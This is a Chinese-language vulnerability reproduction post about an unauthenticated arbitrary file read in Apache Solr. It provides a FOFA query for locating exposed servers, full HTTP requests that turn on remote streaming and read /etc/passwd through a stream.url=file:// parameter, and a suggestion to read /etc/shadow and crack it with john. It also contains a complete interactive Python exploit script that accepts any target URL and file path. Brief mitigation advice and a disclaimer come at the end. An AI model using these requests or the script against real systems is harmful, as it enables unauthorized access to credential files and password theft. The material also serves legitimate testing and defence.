Apache Solr 全版本任意文件读取 – 作者:Henry4E36

0x01 漏洞说明

Apache Solr 全版本存在任意文件读取漏洞,攻击者可以在未授权的情况下获取目标系统的敏感文件

0x02 影响版本

全版本

0x03 漏洞复现

fofa搜索标题:app=”Solr” || app=””Apache-Solr”

1616112024_6053e99806679b5ba4d19.png!small?1616112024111

环境配置

下载Solr进行解压缩:

https://solr.apache.org/downloads.html     #solr下载

进入Solr的bin目录执行命令:

./solr strat

图片[2]-Apache Solr 全版本任意文件读取 – 作者:Henry4E36-安全小百科

访问url,出现如下页面即为启动成功。

http://192.168.153.7:8983

1616113519_6053ef6f71b8ae1dd5af8.png!small?1616113519687

此时启动的solr是没有核心进行索引和搜索的。

./solr create -c <name>   # 创建一个数据驱动模式的核心

漏洞复现

访问url:

http://192.168.153.7:8983/solr/admin/cores?indexInfo=false&wt=json

1616113796_6053f0844e91c3c1a23cd.png!small?1616113796588

burp数据包为:

GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1
Host: 192.168.153.7:8983
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

1616113946_6053f11ac3166dcd09f17.png!small?1616113947017

再使用burp进行POST请求:

POST /solr/henry/config HTTP/1.1
Host: 192.168.153.7:8983
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 84

{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

1616114019_6053f1631b8c79fcf32ce.png!small?1616114019412

当出现”This response format is experimental.  It is likely to change in the future.” 表示存在漏洞。

进行文件读取:

POST /solr/henry/debug/dump?param=ContentStreams HTTP/1.1
Host: 192.168.153.7:8983
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 35
Content-Type: application/x-www-form-urlencoded

stream.url=file:///etc/passwd

1616114242_6053f242ad032bf1dee7d.png!small?1616114243661

也可以读取shadow文件然后进行john爆破出密码:

1616114363_6053f2bb23a0b64c482f0.png!small?1616114363991

1616114416_6053f2f0e1ae4059e4b9f.png!small?1616114417521

POC脚本:

(PeiQi师傅,永远的神!)

# coding=utf-8
# Apache Solr 全版本任意文件读取
# Fofa:app="Apache-Solr" || app="Solr"

import requests
import json
import sys
import time

def title():
    print("+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+")
    print("+~~~~~~ Apache Solr 全版本任意文件读取 ~~~~~~+")
    print("+~~~~~~     Use: python3 solr.py     ~~~~~~+")
    print("+~~~~~~   url: http://x.x.x.x:port   ~~~~~~+")
    print("+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+")
    time.sleep(2)

def get_name(url):
    url_1 = url + "/solr/admin/cores?indexInfo=false&wt=json"
    try:
        res = requests.get(url=url_1)
        #将json数据python字典话
        name = str(list(json.loads(res.text)["status"])[0])
        print("[!]  获取到目标系统name:\033[31m%s\033[0m"%name+"  [0]"+"URL:"+url+"/solr/"+name+"/config")
        return name
    except Exception as e:
        print("[!]  目标URL无法进行利用。",e)
        sys.exit(0)

def check_vul(url,name):
    url_2 = url +"/solr/" + name + "/config"
    data = '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'

    try:
        res = requests.post(url=url_2,data=data)
        if "This response format" in res.text and res.status_code == 200:
            print("[!]  \033[31m目标系统存在漏洞\033[0m")
        else:
            print("[!]  目标系统不存在漏洞")
            sys.exit(0)
    except Exception as e:
        print("[!]  目标系统请求失败")
        sys.exit(0)

def read_files(url,name,file_name):
    url = url + "/solr/" + name + "/debug/dump?param=ContentStreams"
    # 此处必须要加content-type,否则读取不到文件
    headers = {
        "Content-Type" : "application/x-www-form-urlencoded"
    }
    data = "stream.url=file://{}".format(file_name)

    try:
        res = requests.post(url=url,headers=headers,data=data)
        if "No such file or directory" in res.text:
            print("[!] 目标系统读取文件失败!")
            sys.exit(0)
        else:
            print("正在读取文件..........")
            content = (json.loads(res.text)["streams"][0]["stream"])
            print("[o] 读取文件内容为:\n\033[34m{}\033\0m".format(content))
    except Exception as e:
        print("[!]  目标系统似乎意外中断了",e)
        sys.exit(0)

if __name__ == "__main__":
    title()
    url = str(input("\n[!]  请输入目标系统URL: "))
    name = get_name(url)
    check_vul(url,name)
    file_name = str(input("[!]  请输入要读取的文件:"))
    read_files(url,name,file_name)

0x04 修复建议

由于目前官方不予修复该漏洞,暂无安全版本。

1. 开启身份验证/授权

2. 配置防火墙策略,确保Solr API(包括Admin UI)只有受信任的IP和用户才能访问

3.禁止将Apache Solr放置在外网

结束语

本次复现是本地搭建模拟攻击行为,本文章仅用于交流学习,请勿使用该漏洞进行违法活动。

https://github.com/Henry4E36/Solr

参考文献

https://mp.weixin.qq.com/s/iX2OasjynZ0MAvNTvIcmjg

来源:freebuf.com 2021-03-19 08:59:23 by: Henry4E36

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